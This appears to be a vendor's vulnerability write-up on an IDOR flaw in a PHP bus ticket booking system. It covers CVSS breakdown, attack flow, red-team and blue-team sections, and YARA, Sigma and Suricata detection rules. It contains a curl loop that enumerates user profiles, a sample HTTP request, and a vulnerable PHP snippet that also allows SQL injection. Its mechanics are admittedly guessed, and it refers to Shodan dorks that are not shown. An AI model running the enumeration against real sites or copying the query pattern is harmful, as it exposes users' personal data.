CVE-2025-25777
Executive Summary
CVE-2025-25777 is an Insecure Direct Object Reference (IDOR) vulnerability in Codeastro Bus Ticket Booking System v1.0. The application fails to enforce proper authorization checks when accessing user profile endpoints, allowing an unauthenticated attacker to enumerate and view any user’s profile by simply manipulating the user ID parameter in the URL. This leads to unauthorized disclosure of sensitive personal information (e.g., name, email, phone, address, booking history). The vulnerability is trivial to exploit, requires no authentication, and has a CVSS base score of 7.5 (High). No official patch has been released by the vendor.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This is a standalone PHP web application, not an NPM, PyPI, Go, or Ruby package. No supply chain implications are present.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – exploitable remotely.
- Attack Complexity (AC): Low (L) – no special conditions required.
- Privileges Required (PR): None (N) – no authentication needed.
- User Interaction (UI): None (N) – no user action required.
- Scope (S): Unchanged (U) – vulnerable component only.
- Confidentiality (C): High (H) – full disclosure of user profile data.
- Integrity (I): None (N) – no data modification.
- Availability (A): None (N) – no impact on availability.
CVSS Score: 7.5 (High)
Threat Level: High – easy exploitation, sensitive data exposure, no patch available.
Deep Dive & Mechanics
The vulnerability resides in the user profile retrieval functionality. The application likely uses a URL pattern such as /profile.php?id=123 or /user/view/123. The server fetches the user record directly from the database using the provided id parameter without verifying that the requesting session belongs to that user. An attacker can simply iterate through numeric IDs to dump all user profiles.
Root Cause: Missing access control checks on the server side. The application does not compare the authenticated user’s ID (or session token) against the requested user ID before returning data.
Attack Flow:
- Attacker identifies the profile endpoint (e.g.,
/profile.php?id=1). - Attacker modifies the
idparameter to another value (e.g.,/profile.php?id=2). - The server returns the profile data for user ID 2 without requiring authentication.
- Attacker can script this to enumerate all users.
Vulnerable vs. Patched Code
Vulnerable Code (PHP example):
<?php
$id = $_GET['id'];
$query = "SELECT * FROM users WHERE id = $id";
$result = mysqli_query($conn, $query);
$user = mysqli_fetch_assoc($result);
echo json_encode($user);
?>
Patched Code (Conceptual):
<?php
session_start();
if (!isset($_SESSION['user_id'])) {
die("Unauthorized");
}
$requested_id = intval($_GET['id']);
if ($_SESSION['user_id'] !== $requested_id && !$_SESSION['is_admin']) {
die("Forbidden");
}
$query = "SELECT * FROM users WHERE id = $requested_id";
$result = mysqli_query($conn, $query);
$user = mysqli_fetch_assoc($result);
echo json_encode($user);
?>
Exploitation & Lab Setup
Red Team (Exploitation)
Lab Setup:
- Install Codeastro Bus Ticket Booking System v1.0 on a local LAMP/LEMP stack.
- Create multiple test user accounts with known IDs.
Exploitation Steps:
- Access the application and identify the profile endpoint (e.g.,
http://target/profile.php?id=1). - Use a simple script to enumerate user IDs:
#!/bin/bash
for i in $(seq 1 100); do
curl -s "http://target/profile.php?id=$i" | jq '.'
done
- Extract sensitive data from each response.
Manual Proof of Concept:
GET /profile.php?id=2 HTTP/1.1
Host: target.com
Expected Response:
{
"id": 2,
"name": "Jane Doe",
"email": "jane@example.com",
"phone": "555-1234",
"address": "123 Main St"
}
Blue Team (Detection & Defense)
Detection:
- Monitor for sequential or rapid requests to profile endpoints with varying numeric IDs.
- Alert on access to
/profile.php(or similar) without a valid session cookie.
Defense:
- Implement server-side authorization checks (compare session user ID to requested ID).
- Use UUIDs instead of sequential integers for user IDs.
- Enforce authentication on all profile endpoints.
- Deploy a Web Application Firewall (WAF) with rate limiting.
Indicators of Compromise (IOCs)
- Network: HTTP GET requests to
/profile.php?id=<number>from a single IP in rapid succession. - Logs: Access logs showing multiple 200 responses to
/profile.phpwith differentidparameters from the same source. - File: No specific file IOCs; the vulnerability is logic-based.
Detection Engineering
YARA Rule
rule Detect_IDOR_Profile_Enumeration {
meta:
description = "Detects potential IDOR enumeration against profile endpoints"
author = "Valters IT"
date = "2025-03-01"
cve = "CVE-2025-25777"
strings:
$profile_path = "/profile.php?id="
$user_data = /"name":"[^"]+","email":"[^"]+"/
condition:
#profile_path > 5 and #user_data > 0
}
Sigma Rule
title: IDOR Profile Enumeration Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects multiple requests to profile endpoints with different user IDs
author: Valters IT
logsource:
category: webserver
product: apache
detection:
selection:
cs-uri-query|contains: "/profile.php?id="
condition: selection
timeframe: 5m
aggregation:
field: c-ip
condition: gt 10
falsepositives:
- Legitimate admin user management
level: high
Suricata Rule
alert http any any -> any any (
msg:"CVE-2025-25777 - Potential IDOR Profile Enumeration";
content:"/profile.php?id="; http_uri;
threshold: type both, track by_src, count 10, seconds 300;
sid: 1000001;
rev: 1;
)
Remediation & Mitigation
Immediate Actions:
- Disable public access to the profile endpoint until a fix is applied.
- Implement authentication checks – verify that the requesting user owns the profile or has admin privileges.
- Use non-predictable identifiers – replace sequential IDs with UUIDs or hashed tokens.
Long-Term Fix:
- Apply the patched code pattern shown above.
- Conduct a full security audit of the application for similar IDOR issues.
- Contact the vendor for an official patch; if unresponsive, consider migrating to a supported solution.
Workaround:
- Add a
.htaccessrule to restrict access to the profile endpoint to authenticated IPs only (not recommended as a permanent fix).
Valters IT – DevSecOps & Cyber Threat Intelligence
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.